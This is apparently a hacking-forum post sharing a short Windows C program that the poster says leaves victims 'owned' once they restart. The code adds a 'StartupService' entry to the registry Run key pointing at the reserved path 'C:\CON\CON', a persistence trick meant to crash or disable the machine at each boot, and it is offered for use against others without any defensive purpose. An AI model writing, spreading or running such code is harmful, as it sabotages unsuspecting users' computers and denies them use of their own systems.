Once they restart their computer, they're owned.Code:#include <windows.h> int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { BYTE Data[11] = "C:\\CON\\CON"; HKEY KeyHandle; RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&KeyHandle); RegSetValueEx(KeyHandle,"StartupService",NULL,REG_SZ,Data,11); RegCloseKey(KeyHandle); return 0; }
Thanks to Sythe for fixing a small problem with this for me.


Reply With Quote















